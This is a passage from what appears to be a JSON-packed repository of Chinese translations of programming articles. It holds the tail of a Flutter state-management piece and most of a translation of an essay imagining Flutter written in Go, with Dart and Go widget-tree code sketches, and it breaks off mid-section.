StatefulWidget 在 state 被删除后，不再**记住**自己的 state。\n* 使用 Provider，我们可以选择**在哪里**存储 widget 树中的状态。\n* 这样，即使删除使用它的小部件，状态也会被**保留**。\n\n`ValueNotifier` 比 `setState` 需要更多的代码。但它可以用来**记住**状态，通过在 widget 树中放置适当的 Provider。\n\n## 源代码\n\n可以在这里找到本教程中的示例代码：\n\n* [State Management Comparison: [ setState ❖ BLoC ❖ ValueNotifier ❖ Provider ]](https://github.com/bizz84/simple_auth_comparison_flutter)\n\n所有这些状态管理方案都在我的 Flutter & Firebase Udemy 课程中有深入介绍。这可以通过此链接进行了解（点这个链接有折扣哦）：\n\n* [Flutter & Firebase: Build a Complete App for iOS & Android](https://www.udemy.com/flutter-firebase-build-a-complete-app-for-ios-android/?couponCode=DART15&password=codingwithflutter)\n\n祝你代码敲得开心！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter_go.md",
    "content": "> * 原文地址：[Thought Experiment: Flutter in Go](https://divan.dev/posts/flutter_go/)\n> * 原文作者：[divan](https://divan.dev/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter_go.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter_go.md)\n> * 译者：[suhanyujie](https://github.com/suhanyujie)\n> * 校对者：[shixi-li](https://github.com/shixi-li)\n\n# 思考实践：用 Go 实现 Flutter\n\n我最近发现了 [Flutter](https://flutter.io) —— 谷歌的一个新的移动开发框架，我甚至曾经将 Flutter 基础知识教给没有编程经验的人。Flutter 是用 Dart 编写的，这是一种诞生于 Chrome 浏览器的编程语言，后来改用到了控制台。这不禁让我想到“Flutter 也许可以很轻易地用 Go 来实现”！\n\n为什么不用 Go 实现呢？Go 和 Dart 都是诞生于谷歌（并且有很多的大会分享使它们变得更好），它们都是强类型的编译语言 —— 如果情形发生一些改变，Go 也完全可以成为像 Flutter 这样热门项目的选择。而那时候 Go 会更容易地向没有编程经验的人解释或传授。 \n\n假如 Flutter 已经是用 Go 开发的。那它的代码会是什么样的？\n\n[![VSCode 中 Go 版的 Flutter](https://divan.dev/images/go_flutter_vscode.png)](https://divan.dev/images/go_flutter_vscode_big.png)\n\n### Dart 的问题\n\n自从 Dart 在 Chrome 中出现以来，我就一直在关注它的开发情况，我也一直认为 Dart 最终会在所有浏览器中取代 JS。2015 年，得知[有关谷歌在 Chrome 中放弃 Dart 支持](https://news.dartlang.org/2015/03/dart-for-entire-web.html)的消息时，我非常沮丧。\n\nDart 是非常奇妙的！是的，当你从 JS 升级转向到 Dart 时，会感觉一切都还不错；可如果你从 Go 降级转过来，就没那么惊奇了，但是…… Dart 拥有非常多的特性 —— 类、泛型、异常、Futures、异步等待、事件循环、JIT、AOT、垃圾回收、重载 —— 你能想到的它都有。它有用于 getter/setter 的特殊语法、有用于构造函数自动初始化的特殊语法、有用于特殊语句的特殊语法等。\n\n虽然它让能让拥有其他语言经验的人更容易熟悉 Dart —— 这很不错，也降低了入门门槛 —— 但我发现很难向没有编程经验的新手讲解它。\n\n* **所有“特殊”的东西易被混淆 —— “名为构造方法的特殊方法”，“用于初始化的特殊语法”，“用于覆盖的特殊语法”等等。**\n* **所有“隐式”的东西令人困惑 —— “这个类是从哪儿导入的？它是隐藏的，你看不到它的实现代码”，“为什么我们在这个类中写一个构造方法而不是其他方法？它在那里，可是它是隐藏的”等等。**\n* **所有“有歧义的语法”易被混淆 —— “所以我应该在这里使用命名或者对应位置的参数吗？”，“应该使用 final 还是用 const 进行变量声明？”，“应该使用普通函数语法还是‘箭头函数语法’”等等。**\n\n这三个标签 —— “特殊”、“隐式”和“歧义” —— 可能更符合人们在编程语言中所说的“魔法”的本质。这些特性旨在帮助我们编写更简单、更干净的代码，但实际上，它们给阅读程序增加了更多的混乱和心智负担。\n\n而这正是 Go 截然不同并且有着自己强烈特色的地方。Go 实际上是一个非魔法的语言 —— 它将特殊、隐式、歧义之类的东西的数量讲到最低。然而，它也有一些缺点。\n\n### Go 的问题\n\n当我们讨论 Flutter 这种 UI 框架时，我们必须把 Go 看作一个描述/指明 UI 的工具。UI 框架是一个非常复杂的主题，它需要创建一种专门的语言来处理大量的底层复杂性。最流行的方法之一是创建 [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) —— 特定领域的语言 —— 众所周知，Go 在这方面不那么尽如人意。\n\n创建 DSL 意味着创建开发人员可以使用的自定义术语和谓词。生成的代码应该可以捕捉 UI 布局和交互的本质，并且足够灵活，可以应对设计师的想象流，又足够的严格，符合 UI 框架的限制。例如，你应该能够将按钮放入容器中，然后将图标和文本小组件放入按钮中，可如果你试图将按钮放入文本中，编译器应该给你提示一个错误。\n\n特定于 UI 的语言通常也是声明性的 —— 实际上，这意味着你应该能够使用构造代码（包括空格缩进！）来可视化的捕获 UI 组件树的结构，然后让 UI 框架找出要运行的代码。\n\n有些语言更适合这样的使用方式，而 Go 从来没有被设计来完成这类的任务。因此，在 Go 中编写 Flutter 代码应该是一个相当大的挑战！\n\n## Flutter 的优势\n\n如果你不熟悉 Flutter，我强烈建议你花一两个周末的时间来观看教程或阅读文档，因为它无疑会改变移动开发领域的游戏规则。而且，可能不仅仅是移动端 —— 还有[原生桌面应用程序]((https://github.com/google/flutter-desktop-embedding))和 [web 应用程序](https://medium.com/flutter-io/hummingbird-building-flutter-for-the-web-e687c2a023a8)的渲染器（用 Flutter 的术语来说就是嵌入式）。Flutter 容易学习，它是合乎逻辑的，它汇集了大量的 [Material Design](https://material.io) 强大组件库，有活跃的社区和丰富的工具链（如果你喜欢“构建/测试/运行”的工作流，你也能在 Flutter 中找到同样的“构建/测试/运行”的工作方式）还有大量其他的用于实践的工具箱。\n\n在一年前我需要一个相对简单的移动应用（很明显就是 IOS 或 Android），但我深知精通这两个平台开发的复杂性是非常非常大的（至少对于这个 app 是这样），所以我不得不将其外包给另一个团队并为此付钱。对于像我这样一个拥有近 20 年的编程经验的开发者来说，开发这样的移动应用几乎是无法忍受的。\n\n使用 Flutter，我用了 3 个晚上的时间就编写了同样的应用程序，与此同时，我是从头开始学习这个框架的！这是一个数量级的提升，也是游戏规则的巨大改变。\n\n我记得上一次看到类似这种开发生产力革命是在 5 年前，当时我发现了 Go。并且它改变了我的生活。\n\n我建议你从这个[很棒的视频教程](https://www.youtube.com/watch?v=GLSG_Wh_YWc)开始。\n\n## Flutter 的 Hello, world\n\n当你用 `flutter create` 创建一个新的 Flutter 项目，你会得到这个“Hello, world”应用程序和代码文本、计数器和一个按钮，点击增加按钮，计数器会增加。\n\n![flutter hello world](https://divan.dev/images/flutter_hello.gif)\n\n我认为用我们假想的 Go 版的 Flutter 重写这个例子是非常好的。它与我们的主题有密切的关联。看一下它的代码（它是一个文件）：\n\nlib/main.dart:\n\n```dart\nimport 'package:flutter/material.dart';\n\nvoid main() => runApp(MyApp());\n\nclass MyApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return MaterialApp(\n      title: 'Flutter Demo',\n      theme: ThemeData(\n        primarySwatch: Colors.blue,\n      ),\n      home: MyHomePage(title: 'Flutter Demo Home Page'),\n    );\n  }\n}\n\nclass MyHomePage extends StatefulWidget {\n  MyHomePage({Key key, this.title}) : super(key: key);\n  final String title;\n\n  @override\n  _MyHomePageState createState() => _MyHomePageState();\n}\n\nclass _MyHomePageState extends State<MyHomePage> {\n  int _counter = 0;\n\n  void _incrementCounter() {\n    setState(() {\n      _counter++;\n    });\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return Scaffold(\n      appBar: AppBar(\n        title: Text(widget.title),\n      ),\n      body: Center(\n        child: Column(\n          mainAxisAlignment: MainAxisAlignment.center,\n          children: <Widget>[\n            Text(\n              'You have pushed the button this many times:',\n            ),\n            Text(\n              '$_counter',\n              style: Theme.of(context).textTheme.display1,\n            ),\n          ],\n        ),\n      ),\n      floatingActionButton: FloatingActionButton(\n        onPressed: _incrementCounter,\n        tooltip: 'Increment',\n        child: Icon(Icons.add),\n      ),\n    );\n  }\n}\n```\n\n我们先把它分解成几个部分，分析哪些可以映射到 Go 中，哪些不能映射，并探索目前我们拥有的选项。\n\n### 映射到 Go\n\n一开始是相对比较简单的 —— 导入依赖项并启动 `main()` 函数。这里没有什么挑战性也不太有意思，只是语法上的变化：\n\n```go\npackage hello\n\nimport \"github.com/flutter/flutter\"\n\nfunc main() {\n    app := NewApp()\n    flutter.Run(app)\n}\n```\n\n唯一的不同的是不使用魔法的 `MyApp()` 函数，它是一个构造方法，也是一个特殊的函数，它隐藏在被称为 `MyApp` 的类中，我们只是调用一个显示定义的 `NewApp()` 函数 —— 它做了同样的事情，但它更易于阅读、理解和弄懂。\n\n### Widget 类\n\n在 Flutter 中，一切皆 widget（小组件）。在 Flutter 的 Dart 版本中，每个小组件都代表一个类，这个类扩展了 Flutter 中特殊的 Widget 类。\n\nGo 中没有类，因此也没有类层次，因为 Go 的世界不是面向对象的，更不必说类层次了。对于只熟悉基于类的 OOP 的人来说，这可能是一个不太好的情况，但也不尽然。这个世界是一个巨大的相互关联的事物和关系图谱。它不是混沌的，可也不是完全的结构化，并且尝试将所有内容都放入类层次结构中可能会导致代码难以维护，到目前为止，世界上的大多数代码库都是这样子。\n\n![OOP 的真相](https://divan.dev/images/oop_truth.png)\n\n我喜欢 Go 的设计者们努力重新思考这个无处不在的基于 OOP 思维，并提出了与之不同的 OOP 概念，这与 OOP 的发明者 Alan Kay 所要表达的[真实意义](https://www.quora.com/What-did-Alan-Kay-mean-by-I-made-up-the-term-object-oriented-and-I-can-tell-you-I-did-not-have-C++-in-mind)更接近，这不是偶然。\n\n在 Go 中，我们用一个具体的类型 —— 一个结构体来表示这种抽象：\n\n```go\ntype MyApp struct {\n    // ...\n}\n```\n\n在一个 Flutter 的 Dart 版本中，`MyApp`必须继承于 `StatelessWidget` 类并覆盖它的 `build` 方法，这样做有两个作用：\n\n1. 自动地给予 `MyApp` 一些 widget 属性/方法\n2. 通过调用 `build`，允许 Flutter 在其构建/渲染管道中使用跟我们的组件\n\n我不知道 Flutter 的内部原理，所以让我们不要怀疑我们是否能用 Go 实现它。为此，我们只有一个选择 —— [类型嵌入](https://golang.org/doc/effective_go.html#embedding)\n\n```go\ntype MyApp struct {\n    flutter.Core\n    // ...\n}\n```\n\n这将增加 `flutter.Core` 中所有导出的属性和方法到我们的 `MyApp` 中。我将它称为 `Core` 而不是 `Widget`，因为嵌入的这种类型还不能使我们的 `MyApp` 称为一个 widget，而且，这是我在 [Vecty](https://github.com/gopherjs/vecty) GopherJS 框架中看到的类似场景的选择。稍后我将简要的探讨 Flutter 和 Vecty 之间的相似之处。\n\n第二部分 —— Flutter 引擎中的 `build` 方法 —— 当然应该简单的通过添加方法来实现，满足在 Go 版本的 Flutter 中定义的一些接口：\n\nflutter.go 文件:\n\n```go\ntype Widget interface {\n    Build(ctx BuildContext) Widget\n}\n```\n\n我们的 main.go 文件:\n\n```go\ntype MyApp struct {\n    flutter.Core\n    // ...\n}\n\n// 构建渲染 MyApp 组件。实现 Widget 的接口\nfunc (m *MyApp) Build(ctx flutter.BuildContext) flutter.Widget {\n    return flutter.MaterialApp()\n}\n```\n\n我们可能会注意到这里和 Dart 版的 Flutter 有些不同：\n\n* 代码更加冗长 —— `BuildContext`，`Widget` 和 `MaterialApp` 等方法前都明显地提到了 `flutter`。\n* 代码更简洁 —— 没有 `extends Widget` 或者 `@override` 子句。\n* Build 方法是大写开头的，因为在 Go 中它的意思是“公共”可见性。在 Dart 中，大写开头小写开头都可以，但是要使属性或方法“私有化”，名称需要使用下划线（\\_）开头。\n\n为了实现一个 Go 版的 Flutter `Widget`，现在我们需要嵌入 `flutter.Core` 并实现 `flutter.Widget` 接口。好了，非常清楚了，我们继续往下实现。\n\n## 状态\n\n在 Dart 版的 Flutter 中，这是我发现的第一个令人困惑的地方。Flutter 中有两种组件 —— `StatelessWidget` 和 `StatefulWidget`。嗯，对我来说，无状态组件只是一个没有状态的组件，所以，为什么这里要创建一个新的类呢？好吧，我也能接受。但是你不能仅仅以相同的方式扩展 `StatefulWidget`，你应该执行以下神奇的操作（安装了 Flutter 插件的 IDE 都可以做到，但这不是重点）：\n\n```dart\nclass MyHomePage extends StatefulWidget {\n  @override\n  _MyHomePageState createState() => _MyHomePageState();\n}\n\nclass _MyHomePageState extends State<MyHomePage> {\n  int _counter = 0;\n\n  void _incrementCounter() {\n    setState(() {\n      _counter++;\n    });\n  }\n\n  @override\n  Widget build(BuildContext context) {\n      return Scaffold()\n  }\n}\n```\n\n呃，我们不仅仅要理解这里写的是什么，还要理解，为什么这样写？\n\n这里要解决的任务是向组件中添加状态（`counter`）时，并允许 Flutter 在状态更改时重绘组件。这就是复杂性的根源。\n\n其余的都是[偶然的复杂性](https://www.quora.com/What-is-accidental-complexity)。Dart 版的 Flutter 中的办法是引入一个新的 `State` 类，它使用泛型并以小组件作为参数。所以 `_MyAppState` 是一个来源于 `State of a widget MyApp` 的类。好了，有点道理...但是为什么 `build()` 方法是在一个状态而非组件上定义的呢？这个问题在 Flutter 仓库的 FAQ 中有[回答](https://flutter.io/docs/resources/faq#why-is-the-build-method-on-state-not-statefulwidget)，[这里](https://docs.flutter.io/flutter/widgets/State/build.html)也有详细的讨论，概括一下就是：子类 `StatefulWidget` 被实例化时，为了避免 bug 之类的。换句话说，它是基于类的 OOP 设计的一种变通方法。\n\n我们如何用 Go 来设计它呢？\n\n首先，我个人会尽量避免为 `State` 创建一个新概念 —— 我们已经在任意具体类型中隐式地包含了“state” —— 它只是结构体的属性（字段）。可以说，语言已经具备了这种状态的概念。因此，创建一个新状态只会让开发人员赶到困惑 —— 为什么我们不能在这里使用类型的“标准状态”。\n\n当然，挑战在于使 Flutter 引擎跟踪状态发生变化并对其作出反应（毕竟这是响应式编程的要点）。我们不需要为状态的更改创建特殊方法和包装器，我们只需要让开发人员手动告诉 Flutter 何时需要更新小组件。并不是所有的状态更改都需要立即重绘 —— 有很多典型场景能说明这个问题。我们来看看：\n\n```go\ntype MyHomePage struct {\n    flutter.Core\n    counter int\n}\n\n// Build 渲染了 MyHomePage 组件。实现了 Widget 接口\nfunc (m *MyHomePage) Build(ctx flutter.BuildContext) flutter.Widget {\n    return flutter.Scaffold()\n}\n\n// 给计数器组件加一\nfunc (m *MyHomePage) incrementCounter() {\n    m.counter++\n    flutter.Rerender(m)\n    // or m.Rerender()\n    // or m.NeedsUpdate()\n}\n```\n\n这里有很多命名和设计选项 —— 我喜欢其中的 `NeedsUpdate()`，因为它很明确，而且是 `flutter.Core`（每个组件都有它）的一个方法，但 `flutter.Rerender()` 也可以正常工作。它给人一种即时重绘的错觉，但是 —— 并不会经常这样 —— 它将在下一帧时重绘，状态更新的频率可能比帧的重绘的频率高的多。\n\n但问题是，我们只是实现了相同的任务，也就是添加一个状态响应到小组件中，下面的一些问题还未解决：\n\n* 新的类型\n* 泛型\n* 读/写状态的特殊规则\n* 新的特殊的方法覆盖\n\n另外，API 更简洁也更明确 —— 只需增加计数器并请求 flutter 重新渲染 —— 当你要求调用特殊函数 `setState` 时，有些变化并不明显，该函数返回另一个实际状态更改的函数。同样，隐式的魔法会有损可读性，我们设法避免了这一点。因此，代码更简单，并且精简了两倍。\n\n### 有状态的子组件\n\n继续这个逻辑，让我们仔细看看在 Flutter 中，“有状态的小组件”是如何在另一个组件中使用的：\n\n```dart\n@override\nWidget build(BuildContext context) {\n    return MaterialApp(\n        title: 'Flutter Demo',\n        home: MyHomePage(title: 'Flutter Demo Home Page'),\n    );\n}\n```\n\n这里的 `MyHomePage` 是一个“有状态的小组件”（它有一个计数器），我们通过在构建过程中调用构造函数 `MyHomePage(title:\"...\")` 来创建它...等等，构建的是什么？\n\n调用 `build()` 重绘小组件，可能每秒有多次绘制。为什么我们要在每次渲染中创建一个小组件？更别说在每次重绘循环中，重绘有状态的小组件了。\n\n[结论是](https://flutter.io/docs/resources/technical-overview#handling-user-interaction)，Flutter 用小组件和状态之间的这种分离来隐藏这个初始化/状态记录，不让开发者过多关注。它确实每次都会创建一个新的 `MyHomePage` 组件，但它保留了原始状态（以单例的方式），并自动找到这个“唯一”状态，将其附加到新创建的 `MyHomePage` 组件上。\n\n对我来说，这没有多大意义 —— 更多的隐式，更多的魔法也更容易令人模糊（我们仍然可以添加小组件作为类属性，并在创建小组件时实例化它们）。我理解为什么这种方式不错了（不需要跟踪组件的子组件），并且它具有良好的简化重构作用（只有在一个地方删除构造函数的调用才能删除子组件），但任何开发者试图真正搞懂整个工作原理时，都可能会有些困惑。\n\n对于 Go 版的 Flutter，我肯定更倾向于初始化了的状态显式且清晰的小组件，虽然这意味着代码会更冗长。Dart 版的 Flutter 可能也可以实现这种方式，但我喜欢 Go 的非魔法特性，而这种哲学也适用于 Go 框架。因此，我的有状态子组件的代码应该类似这样：\n\n```go\n// MyApp 是应用顶层的组件。\ntype MyApp struct {\n    flutter.Core\n    homePage *MyHomePage\n}\n\n// NewMyApp 实例化一个 MyApp 组件\nfunc NewMyApp() *MyApp {\n    app := &MyApp{}\n    app.homePage = &MyHomePage{}\n    return app\n}\n\n// Build 渲染了 MyApp 组件。实现了 Widget 接口\nfunc (m *MyApp) Build(ctx flutter.BuildContext) flutter.Widget {\n    return m.homePage\n}\n\n// MyHomePage 是一个首页组件\ntype MyHomePage struct {\n    flutter.Core\n    counter int\n}\n\n// Build 渲染 MyHomePage 组件。实现 Widget 接口\nfunc (m *MyHomePage) Build(ctx flutter.BuildContext) flutter.Widget {\n    return flutter.Scaffold()\n}\n\n// 增量计数器让 app 的计数器增加一\nfunc (m *MyHomePage) incrementCounter() {\n    m.counter++\n    flutter.Rerender(m)\n}\n```\n\n代码更加冗长了，如果我们必须在 MyApp 中更改/替换 MyHomeWidget，那我们需要在 3 个地方有所改动，还有一个作用是，我们对代码执行的每个阶段都有一个完整而清晰的了解。没有隐藏的东西在幕后发生，我们可以 100% 自信的推断代码、性能和每个类型以及函数的依赖关系。对于一些人来说，这就是最终目标，即编写可靠且可维护的代码。\n\n顺便说一下，Flutter 有一个名为 [StatefulBuilder](https://medium.com/flutter-community/stateful-widgets-be-gone-stateful-builder-a67f139725a0) 的特殊组件，它为隐藏的状态管理增加了更多的魔力。\n\n## DSL\n\n现在，到了有趣的部分。我们如何在 Go 中构建一个 Flutter 的组件树？我们希望我们的组件树简洁、易读、易重构并且易于更新、描述组件之间的空间关系，增加足够的灵活性来插入自定义代码，比如，按下按钮时的程序处理等等。\n\n我认为 Dart 版的 Flutter 是非常好看的，不言自明：\n\n```dart\nreturn Scaffold(\n      appBar: AppBar(\n        title: Text(widget.title),\n      ),\n      body: Center(\n        child: Column(\n          mainAxisAlignment: MainAxisAlignment.center,\n          children: <Widget>[\n            Text('You have pushed the button this many times:'),\n            Text(\n              '$_counter',\n              style: Theme.of(context).textTheme.display1,\n            ),\n          ],\n        ),\n      ),\n      floatingActionButton: FloatingActionButton(\n        onPressed: _incrementCounter,\n        tooltip: 'Increment',\n        child: Icon(Icons.add),\n      ),\n    );\n```\n\n每个小组件都有一个构造方法，它接收可选的参数，而令这种声明式方法真正好用的技巧是 [函数的命名参数](https://en.wikipedia.org/wiki/Named_parameter)。\n\n### 命名参数\n\n为了防止你不熟悉，详细说明一下，在大多数语言中，参数被称为“位置参数”，因为它们在函数调用中的参数位置很重要：\n\n```dart\nFoo(arg1, arg2, arg3)\n```\n\n使用命名参数时，可以在函数调用中写入它们的名称：\n\n```dart\nFoo(name: arg1, description: arg2, size: arg3)\n```\n\n它虽增加了冗余性，但帮你省略了你点击跳转函数来理解这些参数的意思。\n\n对于 UI 组件树，它们在可读性方面起着至关重要的作用。考虑一下跟上面相同的代码，在没有命名参数的情况下：\n\n```dart\nreturn Scaffold(\n      AppBar(\n          Text(widget.title),\n      ),\n      Center(\n        Column(\n          MainAxisAlignment.center,\n          <Widget>[\n            Text('You have pushed the button this many times:'),\n            Text(\n              '$_counter',\n              Theme.of(context).textTheme.display1,\n            ),\n          ],\n        ),\n      ),\n      FloatingActionButton(\n        _incrementCounter,\n        'Increment',\n        Icon(Icons.add),\n      ),\n    );\n```\n\n咩，是不是？它不仅难以阅读和理解（你需要记住每个参数的含义、类型，这是一个很大的心智负担），而且我们在传递那些参数时没有灵活性。例如，你可能不希望你的 Material 应用有 `FloatingButton`，所以你只是不传递 `floatingActionButton`。如果没有命名参数，你将被迫传递它（例如可能是 `null`/`nil`），或者使用一些带有反射的脏魔法来确定用户通过构造函数传递了哪些参数。\n\n由于 Go 没有函数重载或命名参数，因此这会是一个棘手的问题。\n\n## 用 Go 实现组件树\n\n### 版本 1\n\n这个版本的例子可能只是拷贝 Dart 表示组件树的方法，但我们真正需要的是后退一步并回答这个问题 —— 在语言的约束下，哪种方法是表示这种类型数据的最佳方法呢？\n\n让我们仔细看看 [Scaffold](https://docs.flutter.io/flutter/material/Scaffold-class.html) 对象，它是构建外观美观的现代 UI 的好帮手。它有这些**属性** —— appBar，drawer，home，bottomNavigationBar，floatingActionButton —— 所有都是 Widget。我们创建类型为 `Scaffold` 的对象的同时初始化这些属性。这样看来，它与任何普通对象实例化没有什么不同，不是吗？\n\n我们用代码实现：\n\n```go\nreturn flutter.NewScaffold(\n    flutter.NewAppBar(\n        flutter.Text(\"Flutter Go app\", nil),\n    ),\n    nil,\n    nil,\n    flutter.NewCenter(\n        flutter.NewColumn(\n            flutter.MainAxisCenterAlignment,\n            nil,\n            []flutter.Widget{\n                flutter.Text(\"You have pushed the button this many times:\", nil),\n                flutter.Text(fmt.Sprintf(\"%d\", m.counter), ctx.Theme.textTheme.display1),\n            },\n        ),\n    ),\n    flutter.FloatingActionButton(\n        flutter.NewIcon(icons.Add),\n        \"Increment\",\n        m.onPressed,\n        nil,\n        nil,\n    ),\n)\n```\n\n当然，这不是最漂亮的 UI 代码。这里的 `flutter` 是如此的丰富，以至于要求它被隐藏起来（实际上，我应该把它命名为 `material` 而非 `flutter`），这些没有命名的参数含义并不清晰，尤其是 `nil`。\n\n### 版本 2\n\n由于大多数代码都会使用 `flutter` 导入，所以使用导入点符号（.）的方式将 `flutter` 导入到我们的命名空间中是没问题的：\n\n```go\nimport . \"github.com/flutter/flutter\"\n```\n\n现在，我们不用写 `flutter.Text`，而只需要写 `Text`。这种方式通常不是最佳实践，但是我们使用的是一个框架，不必逐行导入，所以在这里是一个很好的实践。另一个有效的场景是一个基于 [GoConvey](http://goconvey.co) 框架的 Go 测试。对我来说，框架相当于语言之上的其他语言，所以在框架中使用点符号导入也是可以的。\n\n我们继续往下写我们的代码：\n\n```go\nreturn NewScaffold(\n    NewAppBar(\n        Text(\"Flutter Go app\", nil),\n    ),\n    nil,\n    nil,\n    NewCenter(\n        NewColumn(\n            MainAxisCenterAlignment,\n            nil,\n            []Widget{\n                Text(\"You have pushed the button this many times:\", nil),\n                Text(fmt.Sprintf(\"%d\", m.counter), ctx.Theme.textTheme.display1),\n            },\n        ),\n    ),\n    FloatingActionButton(\n        NewIcon(icons.Add),\n        \"Increment\",\n        m.onPressed,\n        nil,\n        nil,\n    ),\n)\n```\n\n比较简洁，但是那些 nil... 我们怎么才能避免那些必须传递的参数？\n\n### 版本 3\n\n反射怎么样？一些早期的 Go Http 框架使用了这种方式（例如 [martini](https://github.com/go-martini/martini)）—— 你可以通过参数传递任何你想要传递的内容，运行时将检查这是否是一个已知的类型/参数。从多个角度看，这不是一个好办法 —— 它不安全，速度相对比较慢，还具魔法的特性 —— 但为了探索，我们还是试试：\n\n```go\nreturn NewScaffold(\n    NewAppBar(\n        Text(\"Flutter Go app\"),\n    ),\n    NewCenter(\n        NewColumn(\n            MainAxisCenterAlignment,\n            []Widget{\n                Text(\"You have pushed the button this many times:\"),\n                Text(fmt.Sprintf(\"%d\", m.counter), ctx.Theme.textTheme.display1),\n            },\n        ),\n    ),\n    FloatingActionButton(\n        NewIcon(icons.Add),\n        \"Increment\",\n        m.onPressed,\n    ),\n)\n```\n\n好吧，这跟 Dart 的原始版本有些类似，但缺少命名参数，确实会妨碍在这种情况下的可选参数的可读性。另外，代码本身就有些不好的迹象。\n\n### 版本 4\n\n让我们重新思考一下，在创建新对象和可选的定义他们的属性时，我们究竟想做什么？这只是一个普通的变量实例，所以假如我们用另一种方式来尝试呢：\n\n```go\nscaffold := NewScaffold()\nscaffold.AppBar = NewAppBar(Text(\"Flutter Go app\"))\n\ncolumn := NewColumn()\ncolumn.MainAxisAlignment = MainAxisCenterAlignment\n\ncounterText := Text(fmt.Sprintf(\"%d\", m.counter))\ncounterText.Style = ctx.Theme.textTheme.display1\ncolumn.Children = []Widget{\n  Text(\"You have pushed the button this many times:\"),\n  counterText,\n}\n\ncenter := NewCenter()\ncenter.Child = column\nscaffold.Home = center\n\nicon := NewIcon(icons.Add),\nfab := NewFloatingActionButton()\nfab.Icon = icon\nfab.Text = \"Increment\"\nfab.Handler = m.onPressed\n\nscaffold.FloatingActionButton = fab\n\nreturn scaffold\n```\n\n这种方法是有效的，虽然它解决了“命名参数问题”，但它也确实打乱了对组件树的理解。首先，它颠倒了创建小组件的顺序 —— 小组件越深，越应该早定义它。其次，我们丢失了基于代码缩进的空间布局，好的缩进布局对于快速构建组件树的高级预览非常有用。\n\n顺便说一下，这种方法已经在 UI 框架中使用很长时间，比如 [GTK](https://www.gtk.org) 和 [Qt](https://www.qt.io)。可以到最新的 Qt 5 框架的文档中查看[代码示例](http://doc.qt.io/qt-5/qtwidgets-mainwindows-mainwindow-mainwindow-cpp.html)。\n\n```dart\n    QGridLayout *layout = new QGridLayout(this);\n\n    layout->addWidget(new QLabel(tr(\"Object name:\")), 0, 0);\n    layout->addWidget(m_objectName, 0, 1);\n\n    layout->addWidget(new QLabel(tr(\"Location:\")), 1, 0);\n    m_location->setEditable(false);\n    m_location->addItem(tr(\"Top\"));\n    m_location->addItem(tr(\"Left\"));\n    m_location->addItem(tr(\"Right\"));\n    m_location->addItem(tr(\"Bottom\"));\n    m_location->addItem(tr(\"Restore\"));\n    layout->addWidget(m_location, 1, 1);\n\n    QDialogButtonBox *buttonBox = new QDialogButtonBox(QDialogButtonBox::Ok | QDialogButtonBox::Cancel, this);\n    connect(buttonBox, &QDialogButtonBox::rejected, this, &QDialog::reject);\n    connect(buttonBox, &QDialogButtonBox::accepted, this, &QDialog::accept);\n    layout->addWidget(buttonBox, 2, 0, 1, 2);\n\n```\n\n所以对于一些人来说，将 UI 用代码来描述可能是一种更自然的方式。但很难否认这肯定不是最好的选择。\n\n### 版本 5\n\n我在想的另一个选择，是为构造方法的参数创建一个单独的类型。例如：\n\n```dart\nfunc Build() Widget {\n    return NewScaffold(ScaffoldParams{\n        AppBar: NewAppBar(AppBarParams{\n            Title: Text(TextParams{\n                Text: \"My Home Page\",\n            }),\n        }),\n        Body: NewCenter(CenterParams{\n            Child: NewColumn(ColumnParams{\n                MainAxisAlignment: MainAxisAlignment.center,\n                Children: []Widget{\n                    Text(TextParams{\n                        Text: \"You have pushed the button this many times:\",\n                    }),\n                    Text(TextParams{\n                        Text:  fmt.Sprintf(\"%d\", m.counter),\n                        Style: ctx.textTheme.display1,\n                    }),\n                },\n            }),\n        }),\n        FloatingActionButton: NewFloatingActionButton(\n            FloatingActionButtonParams{\n                OnPressed: m.incrementCounter,\n                Tooltip:   \"Increment\",\n                Child: NewIcon(IconParams{\n                    Icon: Icons.add,\n                }),\n            },\n        ),\n    })\n}\n```\n\n还不错，真的！这些 `..Params` 显得很啰嗦，但不是什么大问题。事实上，我在 Go 的一些库中经常遇到这种方式。当你有数个对象需要以这种方式实例化时，这种方法尤其有效。\n\n有一种方法可以移除 `...Params` 这种啰嗦的东西，但这需要语言上的改变。在 Go 中有一个建议，它的目标正是实现这一点 —— [无类型的复合型字面量](https://github.com/golang/go/issues/12854)。基本上，这意味着我们能够缩短 `FloattingActionButtonParameters{...}` 成 `{...}`，所以我们的代码应该是这样：\n\n```dart\nfunc Build() Widget {\n    return NewScaffold({\n        AppBar: NewAppBar({\n            Title: Text({\n                Text: \"My Home Page\",\n            }),\n        }),\n        Body: NewCenter({\n            Child: NewColumn({\n                MainAxisAlignment: MainAxisAlignment.center,\n                Children: []Widget{\n                    Text({\n                        Text: \"You have pushed the button this many times:\",\n                    }),\n                    Text({\n                        Text:  fmt.Sprintf(\"%d\", m.counter),\n                        Style: ctx.textTheme.display1,\n                    }),\n                },\n            }),\n        }),\n        FloatingActionButton: NewFloatingActionButton({\n                OnPressed: m.incrementCounter,\n                Tooltip:   \"Increment\",\n                Child: NewIcon({\n                    Icon: Icons.add,\n                }),\n            },\n        ),\n    })\n}\n```\n\n这和 Dart 版的几乎一样！但是，它需要为每个小组件创建这些对应的参数类型。\n\n### 版本 